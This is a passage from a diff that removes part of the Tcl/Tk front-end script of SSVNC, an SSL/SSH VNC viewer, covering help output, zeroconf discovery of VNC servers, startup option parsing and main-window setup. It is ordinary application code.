- button .o.b.connect -text "Connect" -command launch
- }
-
- pack .o.b.help .o.b.connect .o.b.done -fill x -expand 1 -side left
-
- pack .o.b -side top -fill x
-
- center_win .o
- wm resizable .o 1 0
- focus .o
-}
-
-proc check_writable {} {
- set test test[pid].txt
- catch {set f [open $test "w"]; puts $f "test"; close $f}
-
- ###catch {file delete -force $test} # testing.
-
- if ![file exists $test] {
- global env
- if [info exists env(SSVNC_HOME)] {
- set dir "$env(SSVNC_HOME)/ss_vnc/cache"
- catch {file mkdir $dir}
- if ![file exists $dir] {
- return
- }
- foreach f [glob -type f * */* */*/*] {
- set dest "$dir/$f"
- set dirn [file dirname $dest]
- catch {file mkdir $dirn}
- catch {file copy -force -- $f $dest}
- }
- cd $dir
- ###catch {set f [open $test "w"]; puts $f "test"; close $f}
- }
- } else {
- catch {file delete -force $test}
- }
-}
-
-proc print_help {} {
-
- global help_main help_prox help_misc help_tips
- set b "\n============================================================================\n"
- help
- #set str [.h.f.t get 1.0 end]
- #puts "${b}Help:\n$str"
- puts "${b}Help Main:\n$help_main"
- puts "${b}Help Proxies:\n$help_prox"
- puts "${b}Help Misc:\n$help_misc"
- puts "${b}Help Tips:\n$help_tips"
- destroy .h
-
- help_opts
- set str [.oh.f.t get 1.0 end]
- puts "${b}SSL/SSH Viewer Options Help:\n$str"
- destroy .oh
-
- help_advanced_opts
- set str [.ah.f.t get 1.0 end]
- puts "${b}Advanced Options Help:\n$str"
- destroy .ah
-
- help_ssvncviewer_opts
- set str [.av.f.t get 1.0 end]
- puts "${b}ssvncviewer Options Help:\n$str"
- destroy .av
-
- help_certs
- set str [.ch.f.t get 1.0 end]
- puts "${b}SSL Certificates Help:\n$str"
- destroy .ch
-
- help_fetch_cert
- set str [.fh.f.t get 1.0 end]
- puts "${b}Fetch Certificates Help:\n$str"
- destroy .fh
-
- create_cert
- set str [.ccrt.f.t get 1.0 end]
- puts "${b}Create SSL Certificate Dialog:\n$str"
- destroy .ccrt
-
- import_cert
- set str [.icrt.f.t get 1.0 end]
- puts "${b}Import SSL Certificate Dialog:\n$str"
- destroy .icrt
-
- global cert_text
- set cert_text "empty"
- save_cert "help:0"
- set str [.scrt.f.t get 1.0 end]
- puts "${b}Save SSL Certificate Dialog:\n$str"
- destroy .scrt
-
- ts_help
- set str [.h.f.t get 1.0 end]
- puts "${b}Terminal Services Help:\n$str"
- destroy .h
-
- help_ts_opts
- set str [.oh.f.t get 1.0 end]
- puts "${b}Terminal Services VNC Options Help:\n$str"
- destroy .oh
-
- ts_unixpw_dialog
- set str [.uxpw.f.t get 1.0 end]
- puts "${b}Terminal Services Use unixpw Dialog:\n$str"
- destroy .uxpw
-
- ts_vncshared_dialog
- set str [.vncs.f.t get 1.0 end]
- puts "${b}Terminal Services VNC Shared Dialog:\n$str"
- destroy .vncs
-
- ts_multi_dialog
- set str [.mult.f.t get 1.0 end]
- puts "${b}Terminal Services Multiple Sessions Dialog:\n$str"
- destroy .mult
-
- ts_xlogin_dialog
- set str [.xlog.f.t get 1.0 end]
- puts "${b}Terminal Services X Login Dialog:\n$str"
- destroy .xlog
-
- ts_othervnc_dialog
- set str [.ovnc.f.t get 1.0 end]
- puts "${b}Terminal Services Other VNC Server Dialog:\n$str"
- destroy .ovnc
-
- ts_ncache_dialog
- set str [.nche.f.t get 1.0 end]
- puts "${b}Terminal Services Client-Side Caching Dialog:\n$str"
- destroy .nche
-
- ts_x11vnc_opts_dialog
- set str [.x11v.f.t get 1.0 end]
- puts "${b}Terminal Services x11vnc Options Dialog:\n$str"
- destroy .x11v
-
- ts_filexfer_dialog
- set str [.xfer.f.t get 1.0 end]
- puts "${b}Terminal Services File Transfer Dialog:\n$str"
- destroy .xfer
-
- ts_sound_dialog
- set str [.snd.f.t get 1.0 end]
- puts "${b}Terminal Services Sound Tunnelling Dialog:\n$str"
- destroy .snd
-
- ts_cups_dialog
- set str [.cups.f.t get 1.0 end]
- puts "${b}Terminal Services CUPS Dialog:\n$str"
- destroy .cups
-
- help_ssvncviewer_opts
- set str [.av.f.t get 1.0 end]
- puts "${b}Unix SSVNC viewer Options Help:\n$str"
- destroy .av
-
- change_vncviewer_dialog
- set str [.chviewer.t get 1.0 end]
- puts "${b}Unix Change VNC Viewer Dialog:\n$str"
- destroy .chviewer
-
- cups_dialog
- set str [.cups.f.t get 1.0 end]
- puts "${b}CUPS Dialog:\n$str"
- destroy .cups
-
- sound_dialog
- set str [.snd.f.t get 1.0 end]
- puts "${b}ESD Audio Tunnelling Dialog:\n$str"
- destroy .snd
-
- smb_dialog
- set str [.smb.f.t get 1.0 end]
- puts "${b}SMB Mounting Dialog:\n$str"
- destroy .smb
-
- port_redir_dialog
- set str [.redirs.t get 1.0 end]
- puts "${b}Additional Port Redirections Dialog:\n$str"
- destroy .redirs
-
- port_knocking_dialog
- set str [.pk.f.t get 1.0 end]
- puts "${b}Port Knocking Dialog:\n$str"
- destroy .pk
-
- ssvnc_escape_help
- set str [.ekh.f.t get 1.0 end]
- puts "${b}SSVNC Escape Keys Help:\n$str"
- destroy .ekh
-
- stunnel_sec_dialog
- set str [.stlsec.f.t get 1.0 end]
- puts "${b}STUNNEL Local Port Protections Dialog:\n$str"
- destroy .stlsec
-
- disable_ssl_workarounds_dialog
- set str [.sslwrk.f.t get 1.0 end]
- puts "${b}Disable SSL Workarounds Dialog:\n$str"
- destroy .sslwrk
-
- ultra_dsm_dialog
- set str [.ultradsm.f.t get 1.0 end]
- puts "${b}UltraVNC DSM Encryption Plugin Dialog:\n$str"
- destroy .ultradsm
-
- ssh_known_hosts_dialog
- set str [.sshknownhosts.f.t get 1.0 end]
- puts "${b}Private SSH KnownHosts file Dialog:\n$str"
- destroy .sshknownhosts
-
- ssh_sec_dialog
- set str [.sshsec.t get 1.0 end]
- puts "${b}SSH Local Port Protections Dialog:\n$str"
- destroy .sshsec
-
- multilisten_dialog
- set str [.multil.t get 1.0 end]
- puts "${b}Multiple LISTEN Connections Dialog:\n$str"
- destroy .multil
-
- use_grab_dialog
- set str [.usegrb.t get 1.0 end]
- puts "${b}Use XGrabServer (for fullscreen) Dialog:\n$str"
- destroy .usegrb
-}
-
-proc zeroconf_fill {b m} {
- global is_windows zeroconf_command last_post
-
- if {$is_windows} {
- return;
- }
-
- if {![info exists last_post]} {
- set last_post 0
- }
- set now [clock seconds]
- if {$now < [expr $last_post + 10]} {
- # cache menu for 10 secs.
- return
- }
-
- . config -cursor {watch}
- $b config -cursor {watch}
- $b configure -state disabled
-
- $m delete 0 end
- update
-
- set emsg ""
- set output ""
- set none "No VNC servers detected"
-
- set rc 1
- set rd 0
- if {$zeroconf_command == "avahi-browse"} {
- set rc [catch {set output [exec avahi-browse -r -t -p -k _rfb._tcp 2>/dev/null]} emsg]
- } elseif {$zeroconf_command == "dns-sd"} {
- set rc [catch {set output [exec /bin/sh -c {pid=$$; export pid; (sleep 1; kill $pid) & exec dns-sd -B _rfb._tcp} 2>/dev/null]} emsg]
- set rd 1
- } elseif {$zeroconf_command == "mDNS"} {
- set rc [catch {set output [exec /bin/sh -c {pid=$$; export pid; (sleep 1; kill $pid) & exec mDNS -B _rfb._tcp} 2>/dev/null]} emsg]
- set rd 1
- }
-
- #puts "rc=$rc output=$output"
- if {$rd == 1 && $rc != 0} {
- if [regexp {_rfb} $emsg] {
- set rc 0
- set output $emsg
- }
- }
-
- set count 0
-
- if {$rc != 0} {
- $m add command -label $none
- incr count
-
- } elseif {$output == "" || [regexp {^[ \t\n]*$} $output]} {
- $m add command -label $none
- incr count
-
- } elseif {$zeroconf_command == "avahi-browse"} {
- set lines [split $output "\n"]
- set saw("__none__") 1
- foreach line $lines {
- set items [split $line ";"]
- if {[llength $items] != 10} {
- continue
- }
- if {[lindex $items 0] != "="} {
- continue
- }
-
- # =;eth0;IPv4;tmp2\0582;_rfb._tcp;local;tmp2.local;10.0.2.252;5902;
- set eth [lindex $items 1]
- set ipv [lindex $items 2]
- set name [lindex $items 3]
- set type [lindex $items 4]
- set loc [lindex $items 5]
- set host [lindex $items 6]
- set ip [lindex $items 7]
- set port [lindex $items 8]
-
- if {![regexp -nocase {ipv4} $ipv]} {
- continue
- }
-
- set name0 $name
- regsub -all {\\\\} $name "__bockslosh__" name
- regsub -all {\\\.} $name "." name
-
- set n 0
- while {1} {
- incr n
- if {$n > 100} {
- break
- }
- if {[regexp {\\[0-9][0-9][0-9]} $name match]} {
- #puts "match1=$match"
- regsub {\\} $match "" match
- set d $match
- regsub {^0*} $d "" d
- set c [format "%c" $d]
- if {"$c" == "&"} {
- set c "\\$c"
- }
- regsub "\\\\$match" $name $c name
- #puts "match: $match c='$c'\nname=$name"
- } else {
- break
- }
- }
-
- regsub -all {__bockslosh__} $name "\\" name
-
- set hp $host
- if {$port >= 5900 && $port <= 6100} {
- set d [expr $port - 5900]
- set hp "$host:$d"
- } else {
- set hp "$host:$port"
- }
- if {![info exists saw($name)]} {
- regsub -all {[^[:alnum:],./:@%_=+-]} $hp "" hp
- $m add command -label "$name - $hp" -command "set vncdisplay \"$hp\""
- incr count
- set p $port
- if {$p <= 200} {
- set p "-$port"
- }
- regsub -all {[^[:alnum:],./:@%_=+-]} "$ip:$p" "" ipp
- $m add command -label "$name - $ipp" -command "set vncdisplay \"$ipp\""
- incr count
- set saw($name) 1
- }
- }
- } else {
- set lines [split $output "\n"]
- set saw("__none__") 1
- global dns_sd_cache last_dns_sd
- if {![info exists last_dns_sd]} {
- set last_dns_sd 0
- }
- if {[clock seconds] > [expr $last_dns_sd + 1800]} {
- catch { unset dns_sd_cache }
- set last_dns_sd [clock seconds]
- }
- foreach line $lines {
- if [regexp -nocase {^Browsing} $line] {
- continue;
- }
- if [regexp -nocase {^Timestamp} $line] {
- continue;
- }
- if [regexp -nocase {killed:} $line] {
- continue;
- }
- if {![regexp {_rfb\._tcp} $line]} {
- continue;
- }
- regsub {[ \t\n]*$} $line "" line
- regsub {^.*_rfb\._tcp[^ ]* *} $line "" name
-
- if {[info exists saw($name)]} {
- continue
- }
- set saw($name) 1
-
- set hp "$name"
- if {[info exists dns_sd_cache($name)]} {
- set hp $dns_sd_cache($name)
- } else {
- global env
- regsub -all {"} $name "" name2
- set env(DNS_SD_LU) $name2
- set emsg ""
- if {$zeroconf_command == "dns-sd"} {
- set rc [catch {set output [exec /bin/sh -c {pid=$$; export pid; (sleep 1; kill $pid) & exec dns-sd -L "$DNS_SD_LU" _rfb._tcp .} 2>/dev/null]} emsg]
- } elseif {$zeroconf_command == "mDNS"} {
- set rc [catch {set output [exec /bin/sh -c {pid=$$; export pid; (sleep 1; kill $pid) & exec mDNS -L "$DNS_SD_LU" _rfb._tcp .} 2>/dev/null]} emsg]
- regsub -all {[ \t][ \t]*:} $emsg ":" emsg
- }
- regsub -all { *} $emsg " " emsg
- if [regexp -nocase {be reached at *([^ \t\n][^ \t\n]*)} $emsg match hpm] {
- if [regexp {^(.*):([0-9][0-9]*)$} $hpm mv hm pm] {
- if {$pm >= 5900 && $pm <= 6100} {
- set pm [expr $pm - 5900]
- }
- set hp "$hm:$pm"
- } else {
- set hp $hpm
- }
- set dns_sd_cache($name) $hp
- } else {
- set hp "$name"
- if {![regexp {:[0-9][0-9]*$} $hp]} {
- set hp "$name:0"
- }
- }
- }
- regsub -all {[^[:alnum:],./:@%_=+-]} $hp "" hp
- $m add command -label "$name - $hp" -command "set vncdisplay \"$hp\""
- incr count
- }
- }
- $b configure -state normal
- . config -cursor {}
- $b config -cursor {}
- if {$count == 0} {
- $m add command -label $none
- }
- set last_post [clock seconds]
-}
-
-proc check_zeroconf_browse {} {
- global is_windows zeroconf_command
-
- set zeroconf_command ""
- if {$is_windows} {
- return 0;
- }
- set p ""
- set r [catch {set p [exec /bin/sh -c {type avahi-browse}]}]
- if {$r == 0} {
- regsub {^.* is *} $p "" p
- regsub -all {[ \t\n\r]} $p "" p
- if [file exists $p] {
- set zeroconf_command "avahi-browse"
- return 1
- }
- }
- set p ""
- set r [catch {set p [exec /bin/sh -c {type dns-sd}]}]
- if {$r == 0} {
- regsub {^.* is *} $p "" p
- regsub -all {[ \t\n\r]} $p "" p
- if [file exists $p] {
- set zeroconf_command "dns-sd"
- global env
- if [info exists env(USE_MDNS)] {
- # testing
- set zeroconf_command "mDNS"
- }
- return 1
- }
- }
- set p ""
- set r [catch {set p [exec /bin/sh -c {type mDNS}]}]
- if {$r == 0} {
- regsub {^.* is *} $p "" p
- regsub -all {[ \t\n\r]} $p "" p
- if [file exists $p] {
- set zeroconf_command "mDNS"
- return 1
- }
- }
- return 0
-}
-
-proc toggle_no_encryption {{rev 0}} {
- global showing_no_encryption
- global no_enc_button no_enc_prev
- global ts_only ssh_only
- global use_ssl use_ssh use_sshssl
-
- if {$rev} {
- # reverse it first
- if {$showing_no_encryption} {
- set showing_no_encryption 0
- } else {
- set showing_no_encryption 1
- }
- }
-
- if {$showing_no_encryption} {
- catch {pack forget .f4.none}
- catch {pack forget $no_enc_button}
- if {!$use_ssl && !$use_ssh && !$use_sshssl} {
- set use_ssl 1
- sync_use_ssl_ssh
- }
- set showing_no_encryption 0
- } else {
- if {$ts_only || $ssh_only} {
- return
- }
- catch {pack .f4.none -side left}
- if {![info exists no_enc_button]} {
- catch {destroy .o}
- } elseif {![winfo exists $no_enc_button]} {
- catch {destroy .o}
- } else {
- catch {pack $no_enc_button -after $no_enc_prev -fill x}
- }
- set showing_no_encryption 1
- }
-}
-
-proc toggle_vnc_prefix {} {
- global vncdisplay
- if [regexp -nocase {^vnc://} $vncdisplay] {
- regsub -nocase {^vnc://} $vncdisplay "" vncdisplay
- } else {
- regsub -nocase {^[a-z0-9+]*://} $vncdisplay "" vncdisplay
- set vncdisplay "Vnc://$vncdisplay"
- }
- catch {.f0.e icursor end}
-}
-
-############################################
-
-global env
-
-if {[regexp -nocase {Windows.9} $tcl_platform(os)]} {
- set is_win9x 1
-} else {
- set is_win9x 0
-}
-
-set is_windows 0
-if { [regexp -nocase {Windows} $tcl_platform(os)]} {
- set is_windows 1
-}
-
-set uname ""
-if {! $is_windows} {
- catch {set uname [exec uname]}
-}
-
-set ffont "fixed"
-
-global have_ipv6
-set have_ipv6 ""
-check_for_ipv6
-
-# need to check if "fixed" font under XFT on tk8.5 is actually fixed width!!
-if {$tcl_platform(platform) == "unix"} {
- set ls ""
- catch {set ls [font metrics $ffont -linespace]}
- set fs ""
- catch {set fs [font metrics $ffont -fixed]}
- set redo 0
- if {$fs != "" && $fs != "1"} {
- set redo 1
- }
- if {$ls != "" && $ls > 14} {
- set redo 1
- }
- if {$redo} {
- foreach fn [font names] {
- if {$fn == "TkFixedFont"} {
- set ffont $fn
- break
- }
- }
- }
- catch {option add *Dialog.msg.font {helvetica -14 bold}}
- catch {option add *Dialog.msg.wrapLength 4i}
-}
-
-if {$uname == "Darwin"} {
- set ffont "Monaco 10"
-
- #option add *Button.font Helvetica widgetDefault
- catch {option add *Button.font {System 10} widgetDefault}
-}
-
-# set SSVNC_HOME to HOME in case we modify it for mobile use:
-if [info exists env(HOME)] {
- if {! [info exists env(SSVNC_HOME)]} {
- set env(SSVNC_HOME) $env(HOME)
- }
-}
-
-# For mobile use, e.g. from a USB flash drive, we look for a "home" or "Home"
-# directory relative to this script where the profiles and certs will be kept
-# by default.
-if [file exists $buck_zero] {
- #puts "$buck_zero"
- set up [file dirname $buck_zero]
-
- if {$up == "."} {
- # this is actually bad news on windows because we cd'd to util.
- set up ".."
- } else {
- set up [file dirname $up]
- }
- set dirs [list $up]
-
- if {! $is_windows && $up != ".."} {
- # get rid of bin
- set up [file dirname $up]
- lappend dirs $up
- }
-
- for {set i 0} {$i < $argc} {incr i} {
- set it0 [lindex $argv $i]
- if {$it0 == "."} {
- if {![file isdirectory "$up/home"] && ![file isdirectory "$up/Home"]} {
- catch {file mkdir "$up/Home"}
- }
- break
- }
- }
-
- set gotone 0
-
- foreach d $dirs {
- set try "$d/home"
- #puts "$try"
- if [file isdirectory $try] {
- set env(SSVNC_HOME) $try
- set gotone 1
- break
- }
- set try "$d/Home"
- #puts "$try"
- if [file isdirectory $try] {
- set env(SSVNC_HOME) $try
- set gotone 1
- break
- }
- }
- if {$gotone} {
- set b ""
- if {$is_windows} {
- set b "$env(SSVNC_HOME)/ss_vnc"
- } else {
- set b "$env(SSVNC_HOME)/.vnc"
- }
- catch {file mkdir $b}
- catch {file mkdir "$b/certs"}
- catch {file mkdir "$b/profiles"}
- }
- #puts "HOME: $env(SSVNC_HOME)"
-}
-
-global svcert_default mycert_default crlfil_default
-global svcert_default_force mycert_default_force crlfil_default_force
-set svcert_default ""
-set mycert_default ""
-set crlfil_default ""
-set svcert_default_force 0
-set mycert_default_force 0
-set crlfil_default_force 0
-
-set saw_ts_only 0
-set saw_ssh_only 0
-
-set ssvncrc $env(SSVNC_HOME)/.ssvncrc
-if {$is_windows} {
- set ssvncrc $env(SSVNC_HOME)/ssvnc_rc
-}
-
-global ts_desktop_size_def ts_desktop_depth_def ts_desktop_type_def ts_xserver_type_def
-set ts_desktop_size_def ""
-set ts_desktop_depth_def ""
-set ts_desktop_type_def ""
-set ts_xserver_type_def ""
-
-global win_localhost
-set win_localhost "127.0.0.1"
-
-global kill_stunnel
-set kill_stunnel 1
-
-global started_with_noenc
-
-if {! [info exists env(SSVNC_DISABLE_ENCRYPTION_BUTTON)]} {
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 1
- set started_with_noenc 1
-} else {
- if {$env(SSVNC_DISABLE_ENCRYPTION_BUTTON) == "0"} {
- set started_with_noenc 0
- } elseif {$env(SSVNC_DISABLE_ENCRYPTION_BUTTON) == "1"} {
- set started_with_noenc 1
- } else {
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 1
- set started_with_noenc 1
- }
-}
-
-if [file exists $ssvncrc] {
- set fh ""
- catch {set fh [open $ssvncrc "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- set str [string trim $line]
- if [regexp {^#} $str] {
- continue
- }
- if [regexp {^mode=tsvnc} $str] {
- set saw_ts_only 1
- set saw_ssh_only 0
- } elseif [regexp {^mode=sshvnc} $str] {
- set saw_ts_only 0
- set saw_ssh_only 1
- } elseif [regexp {^mode=ssvnc} $str] {
- set saw_ts_only 0
- set saw_ssh_only 0
- }
- if [regexp {^desktop_type=(.*)$} $str m val] {
- set val [string trim $val]
- set ts_desktop_type_def $val
- }
- if [regexp {^desktop_size=(.*)$} $str m val] {
- set val [string trim $val]
- set ts_desktop_size_def $val
- }
- if [regexp {^desktop_depth=(.*)$} $str m val] {
- set val [string trim $val]
- set ts_desktop_depth_def $val
- }
- if [regexp {^xserver_type=(.*)$} $str m val] {
- set val [string trim $val]
- set ts_xserver_type_def $val
- }
- if [regexp {^font_default=(.*)$} $str m val] {
- set val [string trim $val]
- catch {option add *font $val}
- catch {option add *Dialog.msg.font $val}
- }
- if [regexp {^font_fixed=(.*)$} $str m val] {
- set val [string trim $val]
- set ffont $val
- }
- if [regexp {^noenc=1} $str] {
- global env
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 1
- set started_with_noenc 1
- }
- if [regexp {^noenc=0} $str] {
- global env
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 0
- set started_with_noenc 0
- }
- if [regexp {^cotvnc=1} $str] {
- global env
- set env(SSVNC_COTVNC) 1
- }
- if [regexp {^cotvnc=0} $str] {
- global env
- set env(SSVNC_COTVNC) 0
- }
- if [regexp {^killstunnel=1} $str] {
- set kill_stunnel 1
- }
- if [regexp {^killstunnel=0} $str] {
- set kill_stunnel 0
- }
- global have_ipv6
- if [regexp {^ipv6=1} $str] {
- set have_ipv6 1
- set env(SSVNC_IPV6) 1
- }
- if [regexp {^ipv6=0} $str] {
- set have_ipv6 0
- set env(SSVNC_IPV6) 0
- }
- if [regexp {^mycert=(.*)$} $str m val] {
- set val [string trim $val]
- set mycert_default $val
- }
- if [regexp {^cert=(.*)$} $str m val] {
- set val [string trim $val]
- set mycert_default $val
- }
- if [regexp {^cacert=(.*)$} $str m val] {
- set val [string trim $val]
- set svcert_default $val
- }
- if [regexp {^ca=(.*)$} $str m val] {
- set val [string trim $val]
- set svcert_default $val
- }
- if [regexp {^crl=(.*)$} $str m val] {
- set val [string trim $val]
- set crlfil_default $val
- }
- if [regexp {^env=([^=]*)=(.*)$} $str m var val] {
- global env
- set env($var) $val
- }
- }
- close $fh
- }
-}
-
-for {set i 0} {$i < $argc} {incr i} {
- set item [lindex $argv $i]
- regsub {^--} $item "-" item
- if {$item == "-profiles" || $item == "-list"} {
- set dir [get_profiles_dir]
- #puts stderr "VNC Profiles:"
- #puts stderr " "
- if {[info exists env(SSVNC_TS_ONLY)]} {
- set saw_ts_only 1
- } elseif {[info exists env(SSVNC_SSH_ONLY)]} {
- set saw_ssh_only 1
- }
- set profs [list]
- foreach prof [glob -nocomplain -directory $dir "*.vnc"] {
- set s [file tail $prof]
- regsub {\.vnc$} $s "" s
- if {$saw_ts_only || $saw_ssh_only} {
- set ok 0;
- set tsok 0;
- set fh ""
- catch {set fh [open $prof "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- if {[regexp {use_ssh=1} $line]} {
- set ok 1
- }
- if {[regexp {ts_mode=1} $line]} {
- set tsok 1
- }
- }
- close $fh
- }
- if {$saw_ts_only && !$tsok} {
- continue;
- } elseif {! $ok} {
- continue
- }
- }
- lappend profs $s
- }
- foreach prof [lsort $profs] {
- puts "$prof"
- }
- exit
- } elseif {$item == "-nvb"} {
- global env
- set env(SSVNC_NO_VERIFY_ALL_BUTTON) 1
- } elseif {$item == "-noenc"} {
- global env
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 1
- set started_with_noenc 1
- } elseif {$item == "-enc"} {
- global env
- set env(SSVNC_DISABLE_ENCRYPTION_BUTTON) 0
- } elseif {$item == "-bigger"} {
- global env
- if {![info exists env(SSVNC_BIGGER_DIALOG)]} {
- set env(SSVNC_BIGGER_DIALOG) 1
- }
- } elseif {$item == "-ssh"} {
- set saw_ssh_only 1
- set saw_ts_only 0
- } elseif {$item == "-ts"} {
- set saw_ts_only 1
- set saw_ssh_only 0
- } elseif {$item == "-ssl" || $item == "-ss"} {
- set saw_ts_only 0
- set saw_ssh_only 0
- } elseif {$item == "-tso"} {
- global env
- set env(SSVNC_TS_ALWAYS) 1
- set saw_ts_only 1
- } elseif {$item == "-killstunnel"} {
- set kill_stunnel 1
- } elseif {$item == "-nokillstunnel"} {
- set kill_stunnel 0
- } elseif {$item == "-mycert" || $item == "-cert"} {
- incr i
- set mycert_default [lindex $argv $i]
- } elseif {$item == "-cacert" || $item == "-ca"} {
- incr i
- set svcert_default [lindex $argv $i]
- } elseif {$item == "-crl"} {
- incr i
- set crlfil_default [lindex $argv $i]
- }
-}
-
-if [info exists env(SSVNC_FONT_FIXED)] {
- set ffont $env(SSVNC_FONT_FIXED)
-}
-
-if [info exists env(SSVNC_FONT_DEFAULT)] {
- catch {option add *font $env(SSVNC_FONT_DEFAULT)}
- catch {option add *Dialog.msg.font $env(SSVNC_FONT_DEFAULT)}
-}
-
-if [regexp {[ ]} $ffont] {
- set help_font "-font \"$ffont\""
-} else {
- set help_font "-font $ffont"
-}
-
-if { [regexp -nocase {Windows} $tcl_platform(os)]} {
- cd util
- if {$help_font == "-font fixed"} {
- set help_font ""
- }
-}
-
-if {$saw_ts_only && $saw_ssh_only} {
- set saw_ssh_only 0
-}
-
-global ssh_only
-set ssh_only 0
-if {[info exists env(SSVNC_SSH_ONLY)] || $saw_ssh_only} {
- set ssh_only 1
-}
-
-global ts_only
-set ts_only 0
-if {[info exists env(SSVNC_TS_ONLY)] || $saw_ts_only} {
- set ts_only 1
-}
-
-if {$mycert_default != ""} {
- if [regexp -nocase {^FORCE:} $mycert_default] {
- set mycert_default_force 1
- regsub -nocase {^FORCE:} $mycert_default "" mycert_default
- }
- if {![file exists $mycert_default]} {
- set idir [get_idir_certs ""]
- set mycert_default "$idir/$mycert_default"
- }
-}
-
-if {$svcert_default != ""} {
- if [regexp -nocase {^FORCE:} $svcert_default] {
- set svcert_default_force 1
- regsub -nocase {^FORCE:} $svcert_default "" svcert_default
- }
- if {![file exists $svcert_default]} {
- set idir [get_idir_certs ""]
- if {$svcert_default == "CA"} {
- set svcert_default "$idir/CA/cacert.pem"
- } else {
- set svcert_default "$idir/$svcert_default"
- }
- }
-}
-
-if {$crlfil_default != ""} {
- if [regexp -nocase {^FORCE:} $crlfil_default] {
- set crlfil_default_force 1
- regsub -nocase {^FORCE:} $crlfil_default "" crlfil_default
- }
- if {![file exists $crlfil_default]} {
- set idir [get_idir_certs ""]
- set crlfil_default "$idir/$crlfil_default"
- }
-}
-
-if {$is_windows} {
- check_writable
-}
-
-
-set darwin_cotvnc 0
-if {$uname == "Darwin"} {
- if {! [info exists env(DISPLAY)]} {
- set darwin_cotvnc 1
- } elseif {[regexp {/tmp/} $env(DISPLAY)]} {
- set darwin_cotvnc 1
- }
- if [info exists env(SSVNC_HOME)] {
- set t "$env(SSVNC_HOME)/.vnc"
- if {! [file exists $t]} {
- catch {file mkdir $t}
- }
- }
-}
-
-##for testing macosx
-if [info exists env(FORCE_DARWIN)] {
- set uname Darwin
- set darwin_cotvnc 1
-}
-
-set putty_pw ""
-
-global scroll_text_focus
-set scroll_text_focus 1
-
-set multientry 1
-
-wm withdraw .
-if {$ssh_only} {
- wm title . "SSH VNC Viewer"
-} elseif {$ts_only} {
- wm title . "Terminal Services VNC Viewer"
-} else {
- wm title . "SSL/SSH VNC Viewer"
-}
-
-wm resizable . 1 0
-
-set_defaults
-if {$uname == "Darwin"} {
- if [info exists use_x11_macosx] {
- if {$use_x11_macosx} {
- set darwin_cotvnc 0
- }
- }
-}
-set skip_pre 0
-
-set vncdisplay ""
-set last_load ""
-set vncproxy ""
-set remote_ssh_cmd ""
-set vncauth_passwd ""
-
-global did_listening_message
-set did_listening_message 0
-
-global accepted_cert_dialog_in_progress
-set accepted_cert_dialog_in_progress 0
-
-global fetch_cert_filename
-set fetch_cert_filename ""
-
-set vhd "VNC Host:Display"
-if {$ssh_only} {
- label .l -text "SSH VNC Viewer" -relief ridge
-} elseif {$ts_only} {
- label .l -text "Terminal Services VNC Viewer" -relief ridge
- set vhd "VNC Terminal Server:"
-} else {
- label .l -text "SSL/SSH VNC Viewer" -relief ridge
-}
-
-set wl 21
-set we 40
-frame .f0
-if {$multientry} {
- label .f0.l -width $wl -anchor w -text "$vhd" -relief ridge
-} else {
- label .f0.l -anchor w -text "$vhd" -relief ridge
-}
-entry .f0.e -width $we -textvariable vncdisplay
-pack .f0.l -side left
-bind .f0.e <Return> launch
-bind .f0.e <Control-E> {toggle_vnc_prefix}
-pack .f0.e -side left -expand 1 -fill x
-
-if {[check_zeroconf_browse]} {
- menubutton .f0.mb -relief ridge -menu .f0.mb.m -text "Find"
- menu .f0.mb.m -tearoff 0 -postcommand {zeroconf_fill .f0.mb .f0.mb.m}
- pack .f0.mb -side left
-}
-
-frame .f1
-label .f1.l -width $wl -anchor w -text "VNC Password:" -relief ridge
-entry .f1.e -width $we -textvariable vncauth_passwd -show *
-pack .f1.l -side left
-pack .f1.e -side left -expand 1 -fill x
-bind .f1.e <Return> launch
-
-frame .fu
-label .fu.l -width $wl -anchor w -text "Unix Username:" -relief ridge
-entry .fu.e -width 14 -textvariable unixpw_username
-label .fu.m -anchor w -text "Unix Password:" -relief ridge
-entry .fu.f -textvariable unixpw_passwd -show *
-pack .fu.l -side left
-pack .fu.e .fu.m -side left
-pack .fu.f -side left -expand 1 -fill x
-bind .fu.f <Return> launch
-
-frame .f2
-label .f2.l -width $wl -anchor w -text "Proxy/Gateway:" -relief ridge
-entry .f2.e -width $we -textvariable vncproxy
-pack .f2.l -side left
-pack .f2.e -side left -expand 1 -fill x
-bind .f2.e <Return> launch
-
-frame .f3
-label .f3.l -width $wl -anchor w -text "Remote SSH Command:" -relief ridge
-entry .f3.e -width $we -textvariable remote_ssh_cmd
-pack .f3.l -side left
-pack .f3.e -side left -expand 1 -fill x
-.f3.l configure -state disabled
-.f3.e configure -state disabled
-bind .f3.e <Return> launch
-
-set remote_ssh_cmd_list {.f3.e .f3.l}
-
-frame .f4
-radiobutton .f4.ssl -anchor w -variable sshssl_sw -value ssl -command {ssl_ssh_adjust ssl} -text "Use SSL"
-radiobutton .f4.ssh -anchor w -variable sshssl_sw -value ssh -command {ssl_ssh_adjust ssh} -text "Use SSH"
-radiobutton .f4.sshssl -anchor w -variable sshssl_sw -value sshssl -command {ssl_ssh_adjust sshssl} -text "SSH+SSL"
-pack .f4.ssl .f4.ssh .f4.sshssl -side left -fill x
-
-set showing_no_encryption 0
-radiobutton .f4.none -anchor w -variable sshssl_sw -value none -command {ssl_ssh_adjust none} -text "None "
-if [disable_encryption] {
- pack .f4.none -side left
- set showing_no_encryption 1
-}
-
-global skip_verify_accepted_certs
-set skip_verify_accepted_certs 0
-global anon_dh_detected
-set anon_dh_detected 0
-global vencrypt_detected
-set vencrypt_detected ""
-
-global always_verify_ssl
-set always_verify_ssl 1;
-if {[info exists env(SSVNC_NO_VERIFY_ALL)]} {
- set always_verify_ssl 0;
-}
-
-if {$uname == "Darwin"} {
- button .f4.getcert -command {fetch_cert 1} -text "Fetch Cert"
-} else {
- button .f4.getcert -command {fetch_cert 1} -text "Fetch Cert" -padx 3
-}
-checkbutton .f4.always -variable always_verify_ssl -text "Verify All Certs" -command no_certs_tutorial_mesg
-pack .f4.getcert -side right -fill x
-if {[info exists env(SSVNC_NO_VERIFY_ALL_BUTTON)]} {
- set always_verify_ssl 0;
-} else {
- pack .f4.always -side right -fill x
-}
-
-if {$ssh_only || $ts_only} {
